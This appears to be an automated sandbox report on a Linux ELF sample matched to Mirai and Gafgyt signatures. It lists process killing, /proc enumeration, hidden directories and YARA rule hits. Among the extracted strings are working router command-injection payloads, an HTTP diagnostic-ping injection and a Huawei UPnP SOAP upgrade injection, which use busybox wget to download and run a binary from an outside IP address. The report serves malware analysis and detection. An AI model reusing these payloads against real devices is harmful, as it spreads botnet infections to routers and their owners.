Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5444, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5445, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5448, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5449, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5463, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5464, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5481, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5490, result: successful	Jump to behavior

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://92.249.48.84/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0POST /ctrlt/DeviceUpgrade_1 HTTP/1.1

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3104, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3161, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3162, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3163, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3164, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3165, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3170, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3182, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 3212, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5444, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5445, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5448, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5449, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5460, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5462, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5463, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5464, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5481, result: successful	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	SIGKILL sent: pid: 5490, result: successful	Jump to behavior

Yara signature match

Source: na.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: na.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: na.elf, type: SAMPLE	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5445.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5442.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5444.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5438.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5449.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_1 date = 2018-10-27, hash1 = 3be2d250a3922aa3f784e232ce13135f587ac713b55da72ef844d64a508ddcfe, author = Florian Roth, description = Detects ELF Mirai variant, reference = Internal Research
Source: 5448.1.00007ff420400000.00007ff420413000.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research
Source: Process Memory Space: na.elf PID: 5438, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5442, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5444, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5445, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5448, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: Process Memory Space: na.elf PID: 5449, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@6/0

Creates hidden files and/or directories

Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5459)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5460)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5461)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5462)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5463)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5464)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5481)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5481)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5481)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5481)	Directory: /home/saturnino/.config	Jump to behavior

Enumerates processes within the "proc" file system

Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3122/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5381/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3117/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3114/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3631/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/518/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/519/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5417/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5418/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5276/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3134/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3375/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3132/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3095/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1745/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1866/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1982/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/765/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/767/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1906/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1748/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/5444/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3420/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1482/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1480/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1755/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1238/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2964/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3413/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1751/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1872/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2961/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1475/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/778/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/659/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/936/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/816/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1879/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1891/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3153/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/780/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/660/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1921/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/783/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1765/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/2974/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/3707/cmdline	Jump to behavior
Source: /tmp/na.elf (PID: 5452)	File opened: /proc/1400/cmdline	Jump to behavior
